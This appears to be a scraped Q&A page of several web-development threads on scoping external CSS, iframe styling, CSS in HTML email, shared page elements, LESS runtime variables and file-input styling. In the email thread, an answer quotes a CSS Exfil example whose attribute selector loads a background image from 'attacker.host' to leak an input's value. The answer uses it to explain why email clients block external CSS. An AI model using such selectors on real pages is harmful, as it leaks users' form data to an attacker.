Limit scope of external css to only a specific element? - html

I am creating a mobile simulator that mocks the appearance and functionality of an iPhone (and other devices later) in a web browser, using 100% javascript, HTML5, and CSS, with the simulator fully functional with only client side code.
While trying to accomplish this task with as little modification as necessary to the original app projects themselves to be hosted in the simulator, I am injecting the <script> and <link> tags into the head of the page, then loading the html into a <div> screen.
The problem is that when I load in a new css file, it (obviously) overrides the one I'm using to style the page, and therefor some elements are affected (ex the background changes color).
My question is: Is there any way to limit the "scope" of an external .css file to apply only to objects within the <div> screen? Would it make any difference if instead of me injecting it into the <head> of the page, I inject it into a <style> element in the <div> screen?

UPDATE Support for this feature has been dropped. Please seek other options
Original Post:
You may want to look at scoped styles; see http://css-tricks.com/saving-the-day-with-scoped-css/.
The basic idea is
<div>
<style scoped>
#import "scoped.css";
</style>
</div>
However, you are on the bleeding edge here in terms of browser support. See http://caniuse.com/style-scoped.
One alternative would be to use an iframe.

Simply wrap all you css code inside the selector for parent element, say it's a div with id of foo you'd do the following:
div#foo{
//All your css
}
And convert it as less to css, it will prepend the right selectors. Note that you'll need to take care manually of things like #media queries and so on.

While writing this, the <style scoped> is deprecated by the Chrome team.
As a result I experimented with some approaches and released https://github.com/thgreasi/jquery.scopeLinkTags .
Note: you should only have to use this approach in case that you can't control the imported CSS file. If you can use SASS/LESS/anything to pre-process your CSS, you should prefer that.

A simple way is adding pre-class before all selector in css file.
I find a grunt script can do this:
https://github.com/ericf/grunt-css-selectors

This is how i do it if not using preprocessor in my project. Search for a online preprocessor then load copy paste the css under the parent class/id
.parent{
// copy paste here
}
Example
Find a preprocessor for example https://beautifytools.com/scss-compiler.php works very well for me (I have no affiliation with the given link)
if you are using from a URL add the URL using the load URL button.
Wrap the css code under parent and hit compile then minify.

I had a similar issue and found that Shadow DOM can solve it easily.
let output = d.querySelector('#output')
let shadow = output.attachShadow({
mode: 'closed'
});
shadow.innerHTML = HTMLcontent // HTML content and style injected
Source

Related

Import css from iframe

** This is just a theoretical question **
If I have a website containing, for example:
<head>
<style>
body {
background-color: red;
}
</style>
</head
<body>
<p>blah</p>
</body>
And embed it in another website, that has a white background, using an iframe, could I use the css in the iframe to format the current website to give it a red background. Thanks in advance
Personaly I think it is not possible directly. Because the DOM-Elements are different. Your own website has some DOM-tree you have formated it with your own CSS.
The included iframe website has an own different DOM-tree.
I think the iframe is not the right way for that. If it's possible, you can read and parse the output source code of your iframe website and modify it via php.
Or with Javascript Inspired from here:
How to change content of website loaded in iframe?
For php you can use that snippet:
$iframe_source = file_get_contents('http://www.example.com/');
Look here at the php documentation for more information:
https://www.php.net/manual/de/function.file-get-contents.php
Now you can echo and modify also the DOM-tree of the iframe-page. You've got the content and output from the page. You only need to echo $iframe_source.
Than you can use your CSS file and take the .class or id of the element which you want to format.
It has some advantages but also some disadvantages:
advantages
content of iframe is also indexable
better than iframe
you can modify it
its JavaScript free
disadvantes
you need php and an server which allows file get contents
maybe some dynamic elements in the iframe wont work
Update because it's some special case:
itty.bitty.site is very different idea from normal webpages, you can finde something about the technique behind here:
https://itty.bitty.site/#How_it_Works/XQAAAAK4CgAAAAAAAAAeHMqHyTY4PyKmqfkwr6ooCXSIMxPQ7ojYR153HqZD3W+keVdvwyoyd+luwncAksxo8PWJs+831jtAVty8rDpGXmyebtxMTP3PSa4g8/593sWue8MDcpOgi1bQyEtfa0JNQZ6T1I/xyNULg1rpwWgE2Y9BnqDq8fDN1N+nd58bizHxZrkeBhdg8inSQ/xKDX7JxpEnuwOAh4FOfn3+EHSxzhJsdQjZfh3lk4tTCDexgFND30Ea3NmmJGK84pdMtEVlcmKC5lrnUNmgoJa3QFsHJkr5595tk03idElTDVhmcQI3jSvPrkTVFTnSLeARVZXV/EUiF0y7+cR3bVkLoTkamZWDMiCTY2Xhv0LdNqWlb/xxyk6takRLrNnS8DkifXEbevTbJOUamuK7uy55kL61btF+/lYNHLWGbh1ckCYglReWWMlM0k4uuqM24okcS74tHtOW3Y5HZYBmPvRR+ItSrZPvbj3kbztOrWapUp7nAzgfIjYoBV/4xOXpFbbaHRft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w5CHD426iPngjmiTo5Snlf+qW8emK/ltnQQIv2ufykH+Px3XZM+zsOclAyHI5MbCKBKeT6j5geCiz3uqci1w5ZlpRjtJWUT6zCj8Fx1eg4F4ov51gaODKV+QQWeFJSyuVTm3Nu2i7AbhKikNzb3RBeQinEh9KrhHc+o4JGezOU55h1UZtonB0+J5dfBRqHnc+6HaXfTmcLrMZjWErq15cBmC0Kx6BNyqP3uGhMUSF+OuIzffEX9fGUNDpUtCjKdbml8uF43e4fN8o10TxYkbggTcyYKI+xWHMyKM2tjOideyDwt33minfEy/JgSLsihBnBua9sfXCg32/+i2okk= there is some base64encoding ans some differnt algorithm. Maybe you can ask the dev directly on
Maybe you can use some javascript to decrypt the base64 encoded strings:
But if you read the code with file_get_contents, you only get advice that you should activate javascript. That won't work ;(
The source of this itty-bitty you can find here: https://github.com/alcor/itty-bitty

How to link external CSS in html format at Email Body?Here I am not using twitter bootstrap?

I have Done a Html format Email system...
So over there I can able to send email In html format..With internal CSS
Now I have done same with external bootstrap CSS..
over there CSS is missing. Hence I am using an External bootstrap css
this is my external css link
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">
However external bootstrap CSS is loading when I run it as an Html page.
But its not working In Email
Please suggest me regarding this..
First thing is you cannot link external CSS from a CDN or anyplace.
But you can Insert images from outside
you have to write you CSS rules inline html.
And you cannot use divisions(divs)in you email template html code.
You have to make the template's structure with html tables.
For more email template guidelines : http://earthintegrate.com/guidelines-for-creating-an-html-email-template/
Good Luck !
Srivin Prabhash
Gmail will strip everything in the <head>, that's just how they made it.
What you can do is to use a service like mailchips inline-css generator, to make all of the inline codes for you.
The reason for blocking external CSS is that it provides the same tracking ability that tracking pixels do - a given email is requesting data from a remote server in order to be able to render the page. Thus, no reasonable email client is going to allow you an uncontrolled CSS external link.
This abuse of CSS can be taken to the length of a complete CSS Keylogger which was discussed at length in Mike Gualtieri's post.
Quoting Mike:
The CSS Exfil attack centers around the CSS 'value selectors', which can be used to parse HTML tag attribute data.
This simple example demonstrates how these selectors can be abused:
<style>
#username[value="mikeg"] {
background:url("https://attacker.host/mikeg");
}
</style>
<input id="username" value="mikeg" />
In the above example, when the HTML/CSS is rendered in a web browser, a background image is loaded on a remote host controlled by the attacker, indicating the value of the input is 'mikeg'. To make the attack more useful, additional text parsing is required. Below are several proof of concept exploits demonstrating the variety, scope, and severity of potential attacks.
As mentioned in this Hacker news thread, it is prudent to leave password inputs completely uncontrolled, i.e. let the browser do its normal thing for updating the DOM based on user input.

common element in html

I am developing a project and find that there are elements that are common to all pages, I wonder if there is any way to define these elements generally and call them from your html to avoid having to define each of the pages. thank you very much for your help
test.html
<div>Menu</div>
When you need to have this menu, just call this code in your page:
$('#result').load('ajax/test.html', function() {
alert('Load was performed.');
});
load()
Another option could be AngularJS, or just something like includes with PHP.
I don't know any way to do exactly this with pure HTML, but by mixing in a little server side script, you can. Just to give you an idea what it would look like:
This example uses PHP. If you are on a Microsoft server, you would need to translate this example into .NET or .aspx.
First, save the following to a file called "mytest.php" in the same folder as your other pages. (You can put it in a subfolder if you wish, but for this example I will keep it simple).
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
Just one line for this test. A little useless, but you can see the point.
Now, in the <head> tag of your HTML, you can do this (I added the <head> tags just so you can see it... You would not want to have TWO sets of <head> tags.)
<head>
<?php include 'mytest.php'; ?>
</head>
Now, visit the page and display the HTML and you should see that line incorporated into your HTML. Note that any document that contains PHP code (as above) must end with a .php extension.
As #loops suggested, I would highly recommend AngularJS for the rescue.
It's a great MVC framework built with JavaScript and no external dependencies.
It offers the possibility to create custom elements using their Directives
So you could create a new element <mymenu></mymenu> and you can give this new tag some behaviour as well as bind events to it.
AngularJS takes care of all the rest and your new tag will be available across all the pages of your application.
And yes, you are correct thinking that should be done on the client side rather than server side.
I am happy to provide a full working example for you once you get your head around the framework first. Otherwise I think it will be too much information at once ;)

Changing variable dynamically (at runtime) via LESS and CSS?

#myThemeBackground = #ddd;
div#box1 { background: #myThemeBackground; }
I'm using LESS in order to use variables for my css. It works fine, but I'm wondering if there's a way for me to change the "myThemeBackground" dynamically at runtime via javascript or something.
So say if the user chooses a custom color for the background I'd like the entire skin to change.
Note: this is for dynamically theming/skinning an application where the user chooses the color for the background for example and then the whole app changes (without a page refresh)
You can modify Less variables on the fly using the modifyVars method:
less.modifyVars({ myThemeBackground : '#000' });
I usually grab the CSS generated by LESS and include that in a file to optimize the web page loading speed. In fact, I use LESS.app for Mac to generate my CSS.
To my knowledge, part of the solution would involve including less.js file to your page. This in turn means that generating the style of the page would be slow and the caching might cause you some trouble too...
I would humbly suggest generating multiple CSS stylesheets with LESS and include these files when needed with JavaScript.
The only solution I can think of is to change the text you render with less.js, with:
less.refreshStyles()
Change the text in the file or in the less snippet of styling.
Read more about it here:
Load less.js rules dynamically

HTML File upload field style

I am trying to create a file upload field that has a little bit of style to it, but I seem to be having problems finding examples of this. I know part of the reason is that the field itself varies from browser to browser.
Any ideas how to do this? Or is there a way to do this without using a file element of a form that can be styled?
If what you mean is the text field for the file names, you can use the input[type=file] selector in the css files. For example :
input[type=file] { background-color: red; }
If what you mean is the file selection dialog box, I think it's browser/OS dependent and there's little (if any) you can do about it.
I have come up on this problem before. Unfortunately, file uploads are nearly impossible to style consistently across browsers. As of CSS 2, I think, the W3C standard specifically leaves behavior undefined--think of how many ways it would need to be implemented on different platforms. Firefox, for example, generates anonymous button and input elements inside the file upload element which only inherit some of the properties that you set on the upload element itself.
You can get some to work using, for example, Furuno's method, but know that the behavior will be spotty and differ widely across platforms/browsers.
Here's some links I found:
QuirksMode Article
One Extra Pixel Article (look for the file input styling section)
This would fit for your requirement.
If you are using jQuery, have a look at this plugin - https://github.com/ajaxray/bootstrap-file-field
This tiny plugin will display the file input field as a bootstrap button (with configurable classes) and will show selected file names (or selection errors) beautifully.
Additionally you can set various restrictions using simple data-attributes or JS settings.
e,g, data-file-types="image/jpeg,image/png" will restrict selecting file types except jpg and png images.